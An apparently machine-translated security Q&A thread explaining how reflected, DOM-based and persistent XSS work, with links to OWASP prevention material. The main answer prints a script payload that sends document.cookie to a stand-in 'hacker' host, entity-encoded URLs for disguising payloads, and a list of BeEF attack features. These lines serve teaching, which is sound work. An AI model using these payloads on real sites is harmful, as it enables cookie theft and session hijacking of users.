我在Web开发方面的经验很少,但是我对安全性感兴趣。但是,我还没有完全了解XSS的工作原理。你能向医生解释吗?维基百科的文章给了我一个好主意,但我认为我不太了解。

评论

这是XSS的两个非常容易理解的示例virtualforge.de/vmovie/xss_lesson_1/…virtualforge.de/vmovie/xss_lesson_2/…每个在HTTP和Web方面具有较浅背景的人都应该能够理解它。

您能提出一些更具体的问题或误解吗?为了方便其他访问者,请访问Wikipedia文章:en.wikipedia.org/wiki/Cross-site_scripting

由于这里已经涵盖了几乎所有重要的内容,因此只想添加一些有用的链接:-关于DOM XSS的专门知识:code.google.com/p/domxsswiki。 Stefano Di Paola的项目。 -有关网络安全的文章:code.google.com/p/doctype/wiki/ArticlesXSS-用于提高您对基于网络的漏洞的了解的代码实验室:google-gruyere.appspot.com-此处的一些链接,以标签xss搜索。 br />

#1 楼

XSS-跨站点脚本(但不限于实际的跨站点脚本)
XSS通常以3种不同的方式呈现:
非持久(通常称为反射XSS)
能够注入代码,服务器将其未经消毒地返回给您。通常,可以通过以某种形式或方式分发(通常是无害的)URL供他人点击来利用此漏洞。
当您处理针对某人的针对性攻击时,这特别有效。只要您可以使某人单击您发送的URL,就有机会在系统上获得提升的特权。
示例:
包含搜索字段的站点没有适当的输入清理。通过编写如下所示的搜索查询:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

坐在另一端,在Web服务器上,您将收到点击量,其中用户cookie占了两倍。如果管理员单击链接,您可能会很幸运,允许您窃取他们的sessionID并劫持该会话。
使用垃圾邮件,留言板帖子,IM消息,Social Engineering Toolkit等技术,此漏洞可能非常危险。 br />基于DOM
非常类似于非持久性,但是不必从Web服务器回显javascript有效负载。通常,在使用已驻留的javascript进行加载时,通常会将URL参数中的值简单地回传到页面上。
示例:
http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

当然,犯罪分子会修改URL使它看起来更加天真。与上述相同的有效负载只是编码方式不同:
http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

将电子邮件发送到支持HTML的电子邮件客户端时,甚至可以更好地屏蔽它:
<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>
一旦您能够保留XSS向量,攻击就会变得非常危险得多。持久性XSS会从服务器反射回您,通常是因为XSS已存储在数据库字段或类似字段中。考虑将以下输入存储到数据库,然后在您的个人资料上显示给您:
<input type="text" value="Your name" />

如果您能够使应用程序接受并存储未经过处理的输入,那么您要做的就是让其他用户使用查看您的个人资料(或XSS反映在哪里)。
这些类型的XSS不仅很难发现,而且会对系统造成巨大破坏。只需看看称为Samy蠕虫的XSS蠕虫即可!
在XSS的早期,您已经在访客留言簿,社区,用户评论,聊天室等中看到了这种漏洞。 >两个攻击媒介
现在您知道了传递XSS负载的不同方式,我想提到一些非常危险的XSS攻击媒介:


XSS污损
XSS污损并非难事。如果XSS也具有持久性,则可能会使sysadmin麻烦解决该问题。看看RSnake Stallowned的“攻击”,它消除了亚马逊的图书预览功能。读起来挺有趣的。


Cookie窃取和会话劫持
如上面的示例之一所示,一旦您可以访问用户的cookie,您还可以获取敏感信息。捕获sessionID可能导致会话劫持,进而导致系统特权提升。


很长的帖子。我现在停止。如您所见,XSS是一个非常大的主题。我希望我能为您弄清楚。

使用BeEF开发XSS
为了轻松了解如何利用XSS,我建议尝试使用BeEF(浏览器利用框架)。将其解压缩并在支持PHP的网络服务器上运行后,您可以轻松地尝试生成受害者(称为僵尸)的模拟,您可以在其中轻松地尝试不同的XSS负载。提及一些问题:

Portscan局域网
Pingsweep局域网
发送受病毒感染的小程序,已签名并准备就绪
将消息发送给客户端
进行Skype呼叫

清单还在继续。建议在BeEF主页上观看该视频。
UPDATE:我已经在博客上描述XSS的XSS上做了文章。它包含有关XSS的历史,不同的攻击类型以及包括BeEF和Shank在内的一些用例的信息。

评论


哦,哇,Sammy.JS维基百科文章不是在开玩笑,只需查看以下搜索结果:google.com/search?q=inurl%3Amyspace.com+Samy+is+my+hero

– Hyangelo
2012年7月23日在15:38

@Hyangelo,哈哈,我知道。史诗般的东西就在那里。

–克里斯·戴尔(Chris Dale)
2012年7月24日上午10:59

@Hyangelo,是的,那个家伙很有名。也适用于evercookie。

–起搏器
16 Jan 26'在11:47



感谢您的很好的解释,尽管如此,我还是无法重现基于DOM的XSS。它实际上在旧的IE中确实有效,但是当您阅读例如document.baseURI

–伊利亚·切尔诺莫迪克(Ilya Chernomordik)
19-10-20在17:37

#2 楼

回顾一下SteveSyfuhs所说的话,有许多可能使用XSS的恶意方法。

示例:

一个示例是将恶意代码注入数据库字段。随后,只要该字段未经过消毒就显示给最终用户,他们的浏览器就会执行该代码。这称为持久性/存储的跨站点脚本。

另一种功能是无需验证或清除代码即可将代码插入GET或POST参数的功能。当这些变量修改了页面的内容时,修改后的数据将显示给最终用户,然后他们的浏览器将执行恶意代码。这通常存在于通过电子邮件/网络的恶意链接中,当有人单击链接时,恶意链接会发送这些GET参数。这称为Reflected Cross Site Scripting。

资源:


Fortify Software拥有大量的资源
,用于解释漏洞并提供示例。 :
https://www.fortify.com/vulncat/zh-cn/vulncat/index.html


单击选择的语言,然后在“输入验证”和“
您可以从Fortify Software定义的不同类型的跨站点表示形式中进行选择。


OWASP提供了很多有用的资源,
说明了如何防止XSS
/>漏洞:
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet


#3 楼

XSS是关于让任意数据进入系统,然后向用户显示未经修改的数据。如果我将一些js保存到我的个人资料中,并且让某人查看该页面,则该js将执行。例如,我可以让js将用户cookie的内容发送到我的Web服务,从而允许我对cookie进行我想做的任何事情,例如窃取他们的会话。

#4 楼

简而言之,跨站点脚本会欺骗Web浏览器执行恶意代码,因为开发人员不会检查不受信任的输入。

因此,如果您举个XSS攻击示例,则不受信任的输入可能是包含JavaScript的URL参数。开发人员假定参数仅包含数据(或没有充分检查数据),并且仅将参数的内容添加到HTML页面。然后,浏览器将忠实地执行JavaScript,您将获得反射的XSS攻击。

更多信息可在这里找到:OWASP XSS页面